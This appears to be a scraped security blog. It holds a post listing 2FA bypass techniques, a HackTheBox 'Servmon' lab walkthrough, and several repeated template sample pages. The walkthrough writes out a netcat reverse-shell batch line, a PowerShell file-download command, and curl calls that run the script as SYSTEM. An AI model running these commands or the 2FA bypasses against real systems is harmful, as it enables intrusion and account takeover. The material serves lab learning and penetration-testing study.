SnowCr4ck

2fa Bypass

Thu, 10 Oct 2024 00:00:00 +0000

lets talk about 2fa

What is 2FA?

Two-factor authentication, or 2FA, is a safety measure that requires users to confirm their identity using two separate authentication factors. Usually, these factors consist of two things: something the person possesses (like a security token) and something they know (like a password). By making it more difficult for unauthorized users to access accounts, even if they have the password, it provides another layer of security. By using this technique, the potential for password theft or breaches leading to illegal access is reduced.

Two-Factor Authentication implementation method

SMS-based 2FA: Users receive a one-time verification code via SMS on their registered mobile phone number, which they enter along with their password during login.
Authenticator App-based 2FA: Users generate one-time verification codes using an authenticator app installed on their smartphone, such as Google Authenticator, Microsoft Authenticator, or Authy.
Email-based 2FA: Users receive a one-time verification code via email, which they enter along with their password during login.
Hardware Tokens: Users use a physical device, such as a USB token or smart card, to generate one-time verification codes.
Biometric-based 2FA: Users verify their identity using biometric data, such as fingerprints, facial recognition, or voice recognition.

Bypass Methods

Response Manipulation: In response if “success”:false, change it to “success”:true
Status Code Manipulation: If Status Code is 4xx, try to change it to 200 OK and see if it bypass restrictions.
2FA Code Leakage in Response: Check the response of the 2FA Code Triggering Request to see if the code is leaked.
JS File Analysis: Rare but some JS Files may contain info about the 2FA Code, worth giving a shot.
2FA Code Reusability: Same code can be reused.
Lack of Brute-Force Protection: Possible to brute-force any length 2FA Code.
Missing 2FA Code Integrity Validation: Code for any user acc can be used to bypass the 2FA
CSRF on 2FA Disabling: No CSRF Protection on disabling 2FA, also there is no auth confirmation.
Password Reset Disable 2FA: 2FA gets disabled on password change/email change.
Backup Code Abuse: Bypassing 2FA by abusing the Backup code feature. Use the above-mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions.
Clickjacking on 2FA Disabling Page: Iframing the 2FA Disabling page and social engineering victim to disable the 2FA.
Enabling 2FA doesn’t expire Previously active Sessions: If the session is already hijacked and there is a session timeout vuln.
Time Based OTP bypass technique: Usage of old TOTP , usage old TOTP response also.

Bypass Mindmap

https://www.mindmeister.com/1736437018?t=SEeZOmvt01

HackTheBox Servmon Writeup

Sat, 20 Jun 2020 23:48:05 +0000

Methodlogy:

nmap scan
ftp enumeration
cms exploitation
brute-force
port forwarding
privilege escalation

Nmap

as always, i did nmap scan to find out which servicecs was running in this machine and the important thing that i found Port 8443 was opened and this is a good point to start.

nmap -sC -sV -Pn -oN scan.txt 10.10.10.184

  PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
5666/tcp open  tcpwrapped
8443/tcp open  ssl/https-alt
| fingerprint-strings: 
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions: 
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest: 
|     HTTP/1.1 302
|     Content-Length: 0
|_    Location: /index.html
| http-title: NSClient++
|_Requested resource was /index.html
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.80%T=SSL%I=7%D=4/14%Time=5E957C86%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,74,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation
SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xc9f\xe9O\0\x96\0\x80\0\
SF:0\0\0")%r(HTTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n
SF:\r\nDocument\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/1\.1\x20404
SF:\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")%r(RTSPReque
SF:st,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not
SF:\x20found")%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\
SF:r\n\r\nDocument\x20not\x20found");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb2-security-mode: SMB: Couldn't find a NetBIOS name that works for the server. Sorry!
|_smb2-time: ERROR: Script execution failed (use -d to debug)

Checking The Web Page:

after opening the web page i found that this is a NVMS-1000 CMS.

NVMS-1000 is a monitoring client which is specially designed for network video surveillance.

now i open exploitdb and searched for any exploits for this cms and if found this exploit

lets run the expliot.

Great!

now we have the exploit, but i did an mistake here and i know that after did some enum with the exploit and didn’t get anything, so i know that i forgot to do nmap scan for all ports and this is our point.

nmap -p- -o all.txt 10.10.10.184

  
 Not shown: 65516 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5040/tcp  open  unknown
5666/tcp  open  nrpe
6063/tcp  open  x11
6699/tcp  open  napster
7680/tcp  open  pando-pub
8443/tcp  open  https-alt
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

great we have an open port for ftp, let’s go to enum it.

FTP Enumeration

User-Name: Anonymous
Password: Anonymous

Anonymous Logged in successfully completed.

i got 2 files from the ftp.

Confidential.txt and this contain some useful information.

Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine

from this note we know that there is a Passwords file in Nathan Desktop so let’s get it with our exploit.

nice! we have the passwords now, let’s do brute force attack To find out which of these passwords belong to the users we know.

Brute-Force

nice!, we have the user and his password now.

user: Nadine
password: L1k3B1gBut7s@W0rk

User-Flag:

login via ssh with the credentials we have.

Privilege-Escalation

after some eumeration i’ve found that there an NSClient++ installed in this machine.

Details:
When NSClient++ is installed with Web Server enabled, local low privilege users have the ability to read the web administator's password in cleartext from the configuration file.  From here a user is able to login to the web server and make changes to the configuration file that is normally restricted.  

The user is able to enable the modules to check external scripts and schedule those scripts to run.  There doesn't seem to be restrictions on where the scripts are called from, so the user can create the script anywhere.  Since the NSClient++ Service runs as Local System, these scheduled scripts run as that user and the low privilege user can gain privilege escalation.  A reboot, as far as I can tell, is required to reload and read the changes to the web config.  

Prerequisites:
To successfully exploit this vulnerability, an attacker must already have local access to a system running NSClient++ with Web Server enabled using a low privileged user account with the ability to reboot the system.

we will use this exploit exploit

first thing we have to grap the web administrator password.

open c:\program files\nsclient++\nsclient.ini,

or run the following that is instructed when you select forget password

C:\Program Files\NSClient++>nscp web – password –display

now the seconed part we need to open the web page of the nscclient bur it was running in the localhost only so we have to do Port Forwarding.

Port-Forwarding: ssh -L 8443:127.0.0.1:8443 Nadine@10.10.10.184

now we need to make an evil bat file and add it to the queries and run it to get reverse shell as system admin.

i didn’t use the gui beacause it’s very laggy, so i will use the command line and this is a Documentation for it.Docs,Docs2

now we have everything we want, so let’s go.

first we need to make a bat file with this content

@echo off
	c:\temp\nc.exe 10.10.xx.xx 4444 -e cmd.exe
  

and we need to upload it and upload nc.exe to the machine.

command to upload files : powershell -c (New-Object Net.WebClient).DownloadFile(‘http://ip-addr:port/file’, ‘output-file’)

now we uploaded the evil.bat and the nc so let me tell you the commands i used:

curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/rev.bat –data-binary @hey.bat

curl -s -k -u admin https://localhost:8443/api/v1/scripts/ext/scripts/rev.bat

curl -s -k -u admin https://localhost:8443/api/v1/queries/rev

curl -s -k -u admin https://localhost:8443/api/v1/queries/scripts\rev.bat

curl -s -k -u admin “https://localhost:8443/api/v1/queries/rev/commands/execute?time=3m”

let’s go

Root-Flag

d0ne!.

Walkthrough

Thanks for reading.

Yet Another Sample Page

Sat, 06 Jan 2018 00:00:00 +0000

Text can be bold, italic, ~~strikethrough~~ or keyword.

Link to another page.

There should be whitespace between paragraphs.

There should be whitespace between paragraphs. We recommend including a README, or a file with information about your project.

Header 1

This is a normal paragraph following a header. GitHub is a code hosting platform for version control and collaboration. It lets you and others work together on projects from anywhere.

Header 2

This is a blockquote following a header.

When something is important enough, you do it even if the odds are not in your favor.

Header 3

// Javascript code with syntax highlighting.
var fun = function lang(l) {
  dateformat.i18n = require('./lang/' + l)
  return true;
}

# Ruby code with syntax highlighting
GitHubPages::Dependencies.gems.each do |gem, version|
  s.add_dependency(gem, "= #{version}")
end

Header 4

This is an unordered list following a header.
This is an unordered list following a header.
This is an unordered list following a header.

Header 5

This is an ordered list following a header.
This is an ordered list following a header.
This is an ordered list following a header.

Header 6

head1	head two	three
ok	good swedish fish	nice
out of stock	good and plenty	nice
ok	good `oreos`	hmm
ok	good `zoute` drop	yumm

There’s a horizontal rule below this.

Here is an unordered list:

Item foo
Item bar
Item baz
Item zip

And an ordered list:

Item one
Item two
Item three
Item four

And a nested list:

level 1 item
- level 2 item
- level 2 item
  - level 3 item
  - level 3 item
level 1 item
- level 2 item
- level 2 item
- level 2 item
level 1 item
- level 2 item
- level 2 item
level 1 item

Small image

Large image

Definition lists can be used with HTML syntax.

Name: Godzilla
Born: 1952
Birthplace: Japan
Color: Green

Long, single-line code blocks should not wrap. They should horizontally scroll if they are too long. This line should be long enough to demonstrate this.

The final element.

Sample Page

Tue, 12 Dec 2017 00:00:00 +0000

Text can be bold, italic, ~~strikethrough~~ or keyword.

Link to another page.

There should be whitespace between paragraphs.

There should be whitespace between paragraphs. We recommend including a README, or a file with information about your project.

Header 1

This is a normal paragraph following a header. GitHub is a code hosting platform for version control and collaboration. It lets you and others work together on projects from anywhere.

Header 2

This is a blockquote following a header.

When something is important enough, you do it even if the odds are not in your favor.

Header 3

// Javascript code with syntax highlighting.
var fun = function lang(l) {
  dateformat.i18n = require('./lang/' + l)
  return true;
}

# Ruby code with syntax highlighting
GitHubPages::Dependencies.gems.each do |gem, version|
  s.add_dependency(gem, "= #{version}")
end

Header 4

This is an unordered list following a header.
This is an unordered list following a header.
This is an unordered list following a header.

Header 5

This is an ordered list following a header.
This is an ordered list following a header.
This is an ordered list following a header.

Header 6

head1	head two	three
ok	good swedish fish	nice
out of stock	good and plenty	nice
ok	good `oreos`	hmm
ok	good `zoute` drop	yumm

There’s a horizontal rule below this.

Here is an unordered list:

Item foo
Item bar
Item baz
Item zip

And an ordered list:

Item one
Item two
Item three
Item four

And a nested list:

level 1 item
- level 2 item
- level 2 item
  - level 3 item
  - level 3 item
level 1 item
- level 2 item
- level 2 item
- level 2 item
level 1 item
- level 2 item
- level 2 item
level 1 item

Small image

Large image

Definition lists can be used with HTML syntax.

Name: Godzilla
Born: 1952
Birthplace: Japan
Color: Green

Long, single-line code blocks should not wrap. They should horizontally scroll if they are too long. This line should be long enough to demonstrate this.

The final element.

One More Sample Page

Mon, 11 Dec 2017 00:00:00 +0000

Text can be bold, italic, ~~strikethrough~~ or keyword.

Link to another page.

There should be whitespace between paragraphs.

There should be whitespace between paragraphs. We recommend including a README, or a file with information about your project.

Header 1

This is a normal paragraph following a header. GitHub is a code hosting platform for version control and collaboration. It lets you and others work together on projects from anywhere.

Header 2

This is a blockquote following a header.

When something is important enough, you do it even if the odds are not in your favor.

Header 3

// Javascript code with syntax highlighting.
var fun = function lang(l) {
  dateformat.i18n = require('./lang/' + l)
  return true;
}

# Ruby code with syntax highlighting
GitHubPages::Dependencies.gems.each do |gem, version|
  s.add_dependency(gem, "= #{version}")
end

Header 4

This is an unordered list following a header.
This is an unordered list following a header.
This is an unordered list following a header.

Header 5

This is an ordered list following a header.
This is an ordered list following a header.
This is an ordered list following a header.

Header 6

head1	head two	three
ok	good swedish fish	nice
out of stock	good and plenty	nice
ok	good `oreos`	hmm
ok	good `zoute` drop	yumm

There’s a horizontal rule below this.

Here is an unordered list:

Item foo
Item bar
Item baz
Item zip

And an ordered list:

Item one
Item two
Item three
Item four

And a nested list:

level 1 item
- level 2 item
- level 2 item
  - level 3 item
  - level 3 item
level 1 item
- level 2 item
- level 2 item
- level 2 item
level 1 item
- level 2 item
- level 2 item
level 1 item

Small image

Large image

Definition lists can be used with HTML syntax.

Name: Godzilla
Born: 1952
Birthplace: Japan
Color: Green

Long, single-line code blocks should not wrap. They should horizontally scroll if they are too long. This line should be long enough to demonstrate this.

The final element.

Another Sample Page

Sun, 10 Dec 2017 00:00:00 +0000

Text can be bold, italic, ~~strikethrough~~ or keyword.

Link to another page.

There should be whitespace between paragraphs.

There should be whitespace between paragraphs. We recommend including a README, or a file with information about your project.

Header 1

This is a normal paragraph following a header. GitHub is a code hosting platform for version control and collaboration. It lets you and others work together on projects from anywhere.

Header 2

This is a blockquote following a header.

When something is important enough, you do it even if the odds are not in your favor.

Header 3

// Javascript code with syntax highlighting.
var fun = function lang(l) {
  dateformat.i18n = require('./lang/' + l)
  return true;
}

# Ruby code with syntax highlighting
GitHubPages::Dependencies.gems.each do |gem, version|
  s.add_dependency(gem, "= #{version}")
end

Header 4

This is an unordered list following a header.
This is an unordered list following a header.
This is an unordered list following a header.

Header 5

This is an ordered list following a header.
This is an ordered list following a header.
This is an ordered list following a header.

Header 6

head1	head two	three
ok	good swedish fish	nice
out of stock	good and plenty	nice
ok	good `oreos`	hmm
ok	good `zoute` drop	yumm

There’s a horizontal rule below this.

Here is an unordered list:

Item foo
Item bar
Item baz
Item zip

And an ordered list:

Item one
Item two
Item three
Item four

And a nested list:

level 1 item
- level 2 item
- level 2 item
  - level 3 item
  - level 3 item
level 1 item
- level 2 item
- level 2 item
- level 2 item
level 1 item
- level 2 item
- level 2 item
level 1 item

Small image

Large image

Definition lists can be used with HTML syntax.

Name: Godzilla
Born: 1952
Birthplace: Japan
Color: Green

Long, single-line code blocks should not wrap. They should horizontally scroll if they are too long. This line should be long enough to demonstrate this.

The final element.